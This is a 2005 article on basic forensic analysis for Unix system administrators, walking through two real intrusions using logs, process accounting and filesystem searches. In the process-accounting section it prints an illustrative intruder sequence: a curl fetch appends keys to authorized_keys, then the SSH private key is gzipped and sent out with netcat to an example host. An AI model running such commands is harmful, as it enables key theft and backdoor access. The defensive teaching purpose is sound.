Forensics For System Administrators

Sean Peisert*
peisert@sdsc.edu

August, 2005

1 Introduction

The word *forensic analysis* conjures up images of Sherlock Holmes, or scientists adorned with lab-coats, hunched over corpses. But in this article, I will lead you through steps that you can take to analyse compromised computer systems. While forensics carries with it legal connotations, requirements for evidence collection, and analysis at a level unattainable by most system administrators, my focus is what you can do without years of experience. In this article, we will walk through a pair of real, recent intrusion examples to help assist non-professional analysts with accomplishing common forensic goals.

Forensic science, regardless of being in the physical world or the computer world, is hard. Tools used by most experienced UNIX system administrators for forensic analysis are not designed for forensics, or any kind of security for that matter. System logs are often the first place forensic analysts look for suspicious information, yet as Eric Allman, the author of UNIX *syslog* has pointed out, syslog was not designed for forensics at all, but as a way of consolidating debugging output from all of the software that he was developing [All05]. System logs are essential, but vastly insufficient, and cryptic for most novice analysts. The problem is that even if the right information was contained in the mountain of syslogged information, that is far from being guaranteed, even a veteran forensic analyst often has no idea what they are looking for. Most analysts simply must hope to recognize what they are looking for when they see it. A novice has little chance for success with this method. Nor are non-professionals likely to pore through *Tripwire* (www.tripwire.org) data on a daily basis or attempt to reconstruct data from swap space with *Sleuth Kit*. We are not likely to download, configure, and install the Basic Security Module (BSM) (http://www.sun.com/software/security/audit/) on our Linux boxes. Given the strictly-managed IT environments most of us are constrained to work within, we are never going to start hacking the kernel on all of our machines to capture custom data.

The reality is that even using all of the available "forensic" software does not bring professional forensic analysts very close to the ultimate goals of being able to understand any events that have previously happened on a computer system. But there are some aspects of computer forensic analysis that are not very hard, that non-professional analysts can do. This low-hanging fruit is likely to be the most beneficial prescription for non-professionals desiring to understand what has happened previously on a computer system. I also attempt to bring awareness of forensic procedures. Finally, though I am using the term *forensics* in this article, I will not address legal aspects, for which there are many excellent resources, such as that by Smith and Bace [SB03].

2 The Scenarios

In the first example, a Mandrake Linux system was running a wide variety of security software, including *syslog*, *TCPWrappers*, the network IDS *snort*, and the host-level firewall *iptables*. All current security patches had been applied. Despite these typical precautions, the machine was compromised. This was discovered from email from a system administrator at another site, whose machines were being attacked by the compromised system. There were two system administrators and about 10 users of the compromised system.

A second intrusion example is a specific intrusion in the broader series of attacks described in a previous *;login:* article [Sin05] and subsequently in the *New York Times* [MB05]. That machine was one of many nodes of a cluster of large symmetric multiprocessors that formed a supercomputer running IBM's AIX operating system. It too had *syslog* and *TCPWrappers* running, and also ran UNIX *process accounting*. All current security patches had been

applied to it as well. The `root` compromise was discovered when the intruder used the UNIX `wall` command on one node of the cluster to broadcast a message to every user on the system and then `shutdown` another node. Both actions were ones that can only be taken with superuser privileges. This system had about 10 administrators who knew the `root` password, but well over 1000 users.

3 Pull the Plug

What happens when there is some past event that a system administrator wishes to understand on their system? Where should the administrator, now a novice forensic analyst, begin? There are many variables and questions that must be answered to make proper decisions about this. Under almost all circumstances in which the system can be taken down to do the analysis, the ideal thing to do is *halt* or power-off the system using a *hardware* method. Sometimes, more rarely, a system suspected of compromise needs to be kept up because the system is critical or because taking down the system would tip off an intruder.

Halting a machine preserves evidence for an actual analysis, the way Inspector Lestrade should always have preserved a crime scene until Sherlock Holmes's arrival, rather than letting his constables thoroughly trample and disrupt the evidence. "Halt with a hardware method" does not mean "`shutdown` the system." On Sparc Solaris, it means halting with a hardware interrupt, by using `L1-A` (or `Stop-A`). On Mac OS X 10.1.2 and later, a hardware interrupt can be generated to drop the system into a debugger by first changing an Open Firmware value (`developer.apple.com/qa/qa2001/qa1264.html`) and then pressing Command-Power. But the x86 BIOS does not have a monitor mode that supports this. The solution for everyone else? Pull the plug. The machine will power off, the disk will remain as-is, and there will be no possibility of further contamination of the evidence through some sort of clean-up script left by the intruder, as long as the disk is not booted off or mounted in read/write mode again. The reason for stopping a machine is that it prevents further alteration of the evidence. The reason for halting with a hardware interrupt, rather than using the UNIX `halt` or `shutdown` command is that if a root compromise occurred, those commands could have been *trojaned* by an intruder to clean up evidence. A hardware interrupt cannot be trojaned without physical access to the machine. I should note that halting a system may be less critical if a root compromise is not suspected, since there is then less concern about sabotage of built-in system logging functions. For example, if only non-privileged user accounts are discovered to be compromised, a simple solution is to lock out the account and check for any processes and files owned by that user.

In our first example intrusion, I took a preliminary look at the syslog and saw that dates of suspicious logins went back at least three weeks. Given that the intrusion seemed to be going on for so long, I decided that I could no longer trust the system to reliably and accurately report evidence about itself. Therefore, pulling the plug on the machine was the best option.

It is certainly the case that halting a system can help perserve more evidence, particularly that in swap, slack, or otherwise unallocated space on disk. But it also can destroy some evidence. For example, halting a system will wipe out the contents of memory, hindering the ability of an analyst to dump a memory image to disk. However, in the forensic discussions in this article, slack space and memory dumps are outside the scope of our analysis. In our case, halting a system merely helped to preserve real evidence, and had the intrusion in our first example been discovered sooner, and the system sooner halted as a result, the intruder would have had less time to cover their tracks. Then, as I will discuss, certain helpful log files that were deleted may have been recoverable.

Disk imaging is the process of copying every bit of information on a disk (or partition) sequentially and exactly, including unallocated space. This is not the same as an ordinary copy, that will copy files but is not guaranteed to reproduce a precise *image* of the source drive exactly the same way on the destination. I will not describe how to perform that process, and the subsequent filesystem analysis in this article, as it deserves and requires a lengthy discussion on its own. I mention it in passing because it is a standard part of the forensic process.

4 The Logs

One of the largest problems with syslog data is that it is abstract and free-form. Though improvements have been suggested [Bis95], changes based on these improvements have not been integrated into common UNIX variants. Although some of these changes might only require a small changes to the syslog function call in `libc`, this still is not something that the average sysadmin can do, nor something that vendors have been willing to implement. There are other ways to perform forensic logging and auditing, however. Some of the lowest-hanging fruit on UNIX systems is much more uniform and easier to understand. UNIX `wtmp` data, `.history` and `.bash_history` files, and UNIX *process accounting* data, if enabled ahead of time, can provide significant help in understanding previous events. Between these logs, one can determine first who logged in and out, and next, what commands they executed.

One problem with almost all forensic logging techniques is that the logs themselves can be easily altered if an intruder gains superuser privileges. Worse, the `.history` and `.bash_history` files can be removed even without superuser privileges, which is exactly what happened in both of our intrusion examples. However, given that there was a root compromise in both examples, the same could also have been easily done with syslog, `wtmp`, or *process accounting* logs.

A partial remedy to log deletion or modification, and one that we failed to perform in our first example, is to regularly move copies of the logs to an append-only device (such as a *WORM*, or *write-once-read-many* drive), or to another system altogether with a periodic `cron` job. A better solution is to record the logging messages to the more-secure system while simultaneously recording them to the original system. Most of us do not have WORM drives that support incremental appending available to us, but many of us do have spare, networked systems that could serve as log receptacles. As long as another system has enough drive space, a different operating system (so that identical exploits cannot be used on both the logging system and safe system), and has different account passwords and SSH keys, another system could make an excellent place to mirror logs to. Though the logging mechanism on the original system itself could be subverted, the important element of storing the logs securely is that they can help an analyst determine *when* the system was subverted, and possibly *how*. Information about what happens later cannot be trusted anyhow.

Unfortunately, these techniques were not used in our first intrusion example, but their use would have helped recover the deleted `.history` files and given more trust to the logs that were not deleted. Even if logs are not deleted, it is sometimes extremely difficult to know if they have been modified (files that change as often as logs do can easily be "Tripwired," although research has shown that this is theoretically possible with complex changes to the way that Tripwire, or something like it, would work).

In our second intrusion example, a situation that involved a central syslogging infrastructure [SB04], syslog did *not* provide useful information, but process accounting did. It is fortunate that process accounting information was locally available, and not deleted, since while syslog data was mirrored remotely, process accounting information was not. Had both been mirrored, luck would not have been required and again the technique would have provided a higher level of trust to the data.

4.1 wtmp

The UNIX `wtmp` log contains the login and logout times of past users as well as restarts and shutdowns. The UNIX `last` command makes use of this log. Its counterpart, the `utmp` log, shows current activity, and is used by the UNIX `w` and `who` commands.

The `wtmp` logs are straightforward and easy to analyze. The following command is one that can be used to convert the binary `wtmp` logs to text, and process the output to reveal human-understandable data in reverse chronological order:

```
# last path-to-saved-wtmp-file
```

For example, the following is sample output about a series of logins from the user `sean`, showing time of login and logout, as well as a `shutdown` by the same user.

```
sean      ttyp1      Thu May  5 11:17 - 14:01  (02:44)
sean      ttyp1      Tue May  3 14:08 - 16:19  (02:10)
sean      ttyp1      Tue May  3 12:01 - 14:08  (02:07)
sean      ttyp3      Tue May  3 11:35 - shutdown (2+07:55)
```

In the first intrusion example, my initial procedures included looking at the `wtmp` data by using the UNIX `last` command on current and previous `wtmp` files, up until the point of the suspected intrusion. As with most UNIX logs, some of the `wtmp` data was gzipped (e.g. `wtmp.1.gz`) and archived automatically in the `/var/log` directory by periodic log rotation scripts, so I unarchived and analyzed the archived logs as well. I noticed no abnormal logins, and most of the logins from the three primary users on the system could be accounted for. But the syslogs indicated "accepted password" from `ssh` for essentially every user on the machine. The excerpted syslogs were as follows:

```
Sep  4 07:12:06 middleearth sshd(pam_unix)[19239]: authentication failure; logname= uid=0 euid=0
tty=NODEVssh ruser= rhost=intruder.example.com  user=ftp
Sep  4 07:12:06 middleearth sshd[19239]: Accepted password for ftp from 10.0.1.2 port 11111 ssh2
Sep  4 07:12:06 middleearth sshd(pam_unix)[19241]: session opened for user ftp by (uid=14)
```

The fact that the `wtmp` data was incongruent with syslog, was suggestive of the fact that a non-typical method was used to enter the system, rather than using brute force password attacks. Even the syslog data was incongruent with itself, since different processes show failure and success. Unfortunately, neither the *snort* IDS logs nor the *iptables* logs showed anything of interest (nothing much at all, actually) during times indicated by the suspicious syslog messages, and therefore did not help understand which remote exploit was used.

Though these logs did not conclusively solve the first intrusion example that I gave above, they provided evidence about what did *not* happen. Looking through the `wtmp` logs with `last` showed that no authorized user was logged in at the time of the exploit. Therefore, the lack of a user appearing in the `wtmp` logs most likely indicated a remote exploit. As a result, it was helpful to know that the attack was neither a result of an insider or an account compromised by a sniffed password. It is not always the case that `wtmp` logs lack evidence. Although not always conclusive or damning, `wtmp` logs in some cases are able to help answer questions about which users were logged in at the time that a root kit was installed. In our second intrusion example, the `wtmp` logs indicated concurrent logins from two suspicious sites. This evidence suggested not only a single intruder, but possibly a team (or a single user wanting to appear as a team).

As I suggested earlier, one of the easiest ways to save `wtmp` logs to another system is not by using a semi-regular cron job, that copies logs too infrequently, but by running a process as `root` that continually pipes entries through `netcat` or something similar. Unfortunately `wtmp` is saved in a binary format, so doing something like the following to send the data to another machine will not work as expected:

```
# tail -f /var/log/wtmp | nc remote_ip remote_port
```

However, a tool called `fwtmp` that converts the binary `wtmp` data to ASCII text exists for some operating systems (Solaris, AIX, and HP/UX, at least), and it is certainly possible to write a short script to do this manually. Tools such as `loginlog` (`ftp://ftp.sdsc.edu/pub/security/PICS/hostlog/`), can pipe `wtmp` output to syslog that *can* be easily mirrored over a network.

4.2 Process Accounting and `.history`

UNIX process accounting logs are as easy to work with as `wtmp` logs. They also did not solve the first intrusion example that I gave above, but this is because process accounting was not running. If it had been, as in the second intrusion example, we would have known the timing of the end of the process that likely experienced a buffer overflow. Then, I would also have seen the start of a shell or another program that had been used to set up backdoors for future logins. Finally, from the remaining process accounting logs after the initial exploit, I could have determined the actions of the intruder in the first intrusion example as easily as in the second.

In our second intrusion example, process accounting expanded on and confirmed suspicions from `wtmp` logs by showing which commands were executed by the intruder(s) during the two concurrent logins. Some of these things were ordinary, like `ls`. Some of these things were somewhat suspicious, like `lala`, that obviously is not a standard UNIX command and is not a command that one should normally see on a system. Again, the effect of these actions was inconclusive, and though this may not help understand the vulnerabilities in the system, it does help give indications as to when a compromise occurred, what damage was done after the system was compromised, and what data is trustworthy, or at least when the data stopped being trustworthy.

On *BSD and Linux, the superuser can use the `/usr/sbin/accton` command to control process accounting, and again, after translation from binary to ASCII, pipe through `netcat` to transmit the results to a remote machine. Running `accton` on its own stops process accounting. Naming a file as the argument to `accton` starts process accounting, though the file must be "touched" first:

```
# touch /var/log/acct
# accton /var/log/acct
```

The `lastcomm` command can be used to ultimately view the results on the remote machine:

```
# lastcomm -f accounting_file
```

Example results of using this command appear in reverse order as follows:

```
nc              -       sean            ttyp0      0.00 secs Wed May 25 13:44
gzip            -       sean            ttyp0      0.00 secs Wed May 25 13:44
cat             -       sean            ttyp0      0.00 secs Wed May 25 13:43
curl            -       sean            ttyp0      0.00 secs Wed May 25 13:43
ls              -       sean            ttyp0      0.00 secs Wed May 25 13:42
```

In the example above, we see the intruder `sean` looking for an `authorized_keys` file, moving and appending additional information to it, and gzipping and transferring the private keys off the host with *netcat*, as follows:

```
# ls .ssh/authorized_keys
# curl http://www.example.com/~sean/mykeys.txt > mykeys.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24730  100 24730    0     0   396k      0 --:--:-- --:--:-- --:--:-- 3018k
# cat mykeys.txt >> .ssh/authorized_keys
# gzip .ssh/id_dsa
# nc -o id_dsa.gz www.example.com 29301
```

There are two important things to note about process accounting. The first is that it obviously does not contain path information or arguments. Therefore, for example, a safe version of the system's `ls` command cannot be distinguished from a rootkit called `ls` by its name. The only indication may be in the length of time that the malicious program runs for. A suspicious length of time is likely to be either be a very long time or almost no time at all, depending on the program. In the case of `ls`, a suspicious case is likely to take a very long time, since `ls` ordinarily runs quickly in most situations. The second thing is that process accounting logs are written to when commands complete and not when they are executed. There are two consequences of this. First, if a command does not finish, it will not be in the logs. Secondly, the commands within a script will be indicated before the name of the script itself, because the process containing the script will not finish before the processes within the script. The `man` command is actually a script, and provides a good example of this that you may wish to try to prove to yourself.

The `.history` file and `.bash_history` files normally generated by UNIX shells are useful in understanding previous actions, but are frequently the first thing an intruder will delete, as they were in both of our intrusion examples. For that reason, I suggest in passing that they are worth looking for in users' home directories, but do not count on them being there, or being left unaltered. The good news is that they are in ASCII text automatically, not binary, so unlike process accounting and `wtmp` logs, they are easy to pipe to another machine, or at least a root-owned file, to make them harder to remove. For example:

```
# tail -f /home/sean/.history | nc remote_ip remote_port
```

One thing that was clear about the logs explored in the first example was that the intruder had been in the system for some time. The suspicious syslog messages were over two weeks old, and therefore, the intruder had plenty of time to cover his or her tracks or divert the trail of evidence.

5 Filesystem

After basic logs were explored in our first intrusion example, I explored the filesystem in more depth. By operating only on a mounted filesystem, as opposed to a disk image, only limited filesystem analysis is possible. This, as well as analysis of unallocated space on the disk for erased files, is particularly the part of the analysis for which it is important to be operating on a disk image, rather than a live filesystem.

Analyzing a filesystem with Sleuth Kit and other tools is complicated and beyond the scope of this article. Also, as I described in our first intrusion example, there are many techniques that are either trial-and-error or require a great deal of experience to be able to separate signal from noise in the vast quantity of files on a typical UNIX system. There are a few simple techniques, however.

In both of our intrusion examples, I worked on images mounted read-only, and looked in the common places, using `find` for suspicious files, including `/tmp`, `/var/tmp`, and user home directories. I also particularly looked at the `/etc/passwd` file, `crontab` file, and the `authorized_keys` files used by `ssh`, for unusual dates and entries. Suspicious files may not easily stand out, but instead can be named either very practically, to fit in with existing files, or in an extremely subtle way, to fit in invisibly with the "`.`" and "`..`" directories, like "`...`".

The following example searches for one or more periods followed by one or more non-printing characters, such as control characters. For instance, the following example will note "`.  `" (a period followed by a space), that can commonly be confused with the standard "`.`" (just a period) directory:

```
# find / -name '.*' | grep '\.[\.]*[^\!-~][^\!-~]*'
```

In the first intrusion, on the disk in question, a suspicious directory named similarly to this was discovered containing two brute force `ssh` toolkits, presumably used to attack the system whose owner gave notification that our system was compromised. Using the dates of the files in the suspicious directory as a reference point, I searched the rest of the system for files with similar creation or modification dates. Using `find` with the `-ctime` and `-mtime` flags, I discovered that most of the binaries in `/usr/local` had identical dates and seemed to clearly indicate that they had been modified or replaced, possibly with *trojaned* versions after the intrusion began. Finally, although a search turned up nothing important in our own examples, `setuid root` or `setgid wheel` files are also important to look for. These are quite easy to find on a mounted filesystem as well, although determining which ones are appropriately `setuid root` or `setgid wheel` is sometimes harder. A good method is sometimes to have a known, clean system available as a comparison. I used following commands to perform the relevant searches in our examples:

```
# find / -type f -user root -perm -4000 -exec ls -l {} \;
# find / -type f -group wheel -perm -2000 -exec ls -l {} \;
```

UNIX files "possess" three timestamps: a last-modified time, a last-accessed time, and a time that the inode information was last changed. Using the UNIX `ls -l` command will indicate the last-modified time. To obtain the last-changed time of the inode associated with a file, one uses `ls -lc`. The last-accessed time is seen with `ls -lu`. Note: it is a popular misconception that UNIX files have a "creation" time associated with them. This is false.

It is helpful to have the ability to view when certain unusual files have appeared on the system, or have knowledge of when system binaries have been modified. Of course it is possible to spoof timestamps, but it is also helpful to know occasionally when an intruder has made a mistake. For instance, in our second intrusion example, the intruder altered the modification date of new binaries discovered on the system, but had not adjusted the time of the last change to the inode, that requires the more complicated steps of bypassing the filesystem and writing to the raw disk device. A recent modification date or, in this case, a modification date earlier than the inode change date, were red flags about intruder activity, because bypassing the operating system to write directly to a raw device is rare. There are very few surefire techniques that one can employ in looking at the filesystem, but even having knowledge of the different flags to use with `ls` to inspect unusual files can be invaluable.

`mac-robber` is a tool written by the author of the Sleuth Kit. The Sleuth Kit (`www.sleuthkit.org`) is the successor to *The Coroner's Toolkit* (`www.porcuipine.org/tct`), and `mac-robber` is the successor to the `grave-robber` tool from The Coroner's Toolkit. Unlike the rest of the Sleuth Kit tools, `mac-robber` can be run on a mounted filesystem rather than a disk image, that can be prohibitive for novices to create since it is time consuming and requires having a disk at least as big as the one we want to image. As a result, an analyst will be prevented from analyzing deleted files, and only able to analyze currently existing files. Using this tool, however, can augment the UNIX `ls`, `find`, and `grep` commands to search for data on a disk. An advantage to using `mac-robber` over `find` and other tools is that it finds and stores data in a way that `mactime`, another tool from the Sleuth Kit, can attempt to show the chronology of filesystem activity. Use of `mac-robber` and `mactime` is straightforward:

```
# mac-robber directory > output
# mactime -b output analysis_start_date
```

Specifying `/` as the directory to search will analyze the entire filesystem. In our first intrusion example, this technique augmented `find` by not only searching for files that had been created recently, but automatically also looking at files that had been modified and putting them in chronological order, making it much easier to correlate the times that files were added or modified with the times that suspicious useres were logged in.

6 Summary and Conclusion

As mentioned, these attacks and the methods used to analyze them were representative of the inconclusiveness that computer forensics usually provides. They also demonstrate the difficulty of finding the presence of something "bad" on the system, since it is not possible to completely characterize what "bad" things look like ahead of time. If it were possible, intrusion detection systems would be panaceas, and they clearly are not.

Ultimately, the vulnerability in the first intrusion was probably in Linux-PAM (Linux Pluggable Authentication Module), and the second intrusion was probably a local exploit executed through an account with a compromised password. In both cases, the suspicion is an inference from available and missing data. No hard evidence is available. Very little evidence at all was found on the system in the first example, as it only gave indication of activities performed once the machine was compromised, not how it was compromised. That evidence was a directory containing a tool to perform brute-force `ssh` attempts against other machines, `ctime` evidence that a number of standard binaries had

been replaced and possibly trojaned, and syslog messages showing a number of successful `ssh` logins for every user on the system that did *not* have a login shell. No proof of how the intruder broke in and what the intruder did was found. On the second machine, the actual local exploit could not even be guessed about.

Even though novices are likely to have fewer means at their disposal than were used in the first intrusion example, there are some things even a novice can do better than what was done in the examples. At the end of the day, as in our first intrusion example, the important thing for most admins to know is that the system was compromised, and to have some idea of *when*. With this knowledge, one can reinstall the system (with patches, this time), change user passwords, and have an idea of how far back one needs to go into backup tapes to recover data to have assurance of unaltered user data. Knowledge of *how* a system was compromised, with any degree of certainty, may not always be possible, as I showed above. However, vigilant observation of important system events, and awareness of general forensic techniques are the keys to success.

Future techniques that we are currently researching [PBKM05] should enable forensic analysis on the *entire* system, using techniques to present the information to an analyst that makes the information at least as understandable as simple `wtmp` and process accounting logs, but far more comprehensive. With these improvements, forensics will become not only easier but much more precise.

The techniques suggested in this article are not intended to be complete. As I have stated, *no* current techniques on commodity operating systems can make forensic analysis *complete*. Nor will these techniques make a novice analyst ready to join law enforcement for the next episode of *CSI* involving computer crime. But they open the door to performing preliminary analysis while also setting the stage for a possibly more detailed analysis by a professional forensic analyst. Forensics is an intimidating subject, but given the prevalence of malicious insiders and automated worm attacks [MSVS03], more computer users need to and are capable of performing the basics.

7 Acknowledgements

This material is based on work sponsored by the United States Air Force and supported by the Air Force Research Laboratory under Contract F30602-03-C-0075 and performed in conjunction with Lockheed Martin Information Assurance. Thanks to Sid Karin, Abe Singer, Matt Bishop, and Keith Marzullo, who provided valuable discussions during the writing of this article.

References

[All05] Eric Allman. Personal conversations, January 2005.

[Bis95] Matt Bishop. A standard audit trail format. In *Proceedings of the Eighteenth National Information Systems Security Conference*, pages 136–145, October 1995.

[MB05] John Markoff and Lowell Bergman. Internet attack is called broad and long lasting. *New York Times*, Late Edition - Final, Section A, Page 1, Column 1, May 10 2005.

[MSVS03] David Moore, Colleen Shannon, Geoffrey M. Voelker, and Stefan Savage. Internet quarantine: Requirements for containing self-propagating code. In *INFOCOM 2003*, April 2003.

[PBKM05] Sean Peisert, Matt Bishop, Sid Karin, and Keith Marzullo. Principles-driven forensic analysis. In *Proceedings of New Security Paradigms Workshop (NSPW) 2005 (to appear)*, April 2005.

[SB03] Fred Chris Smith and Rebecca Gurley Bace. *A Guide to Forensic Testimony: The Art and Practice of Presenting Testimony As An Expert Technical Witness*. Addison Wesley Professional, 2003.

[SB04] Abe Singer and Tina Bird. Building a logging infrastructure. SAGE, 2004.

[Sin05] Abe Singer. Tempting fate. *;login:*, 30(1):27–30, February 2005.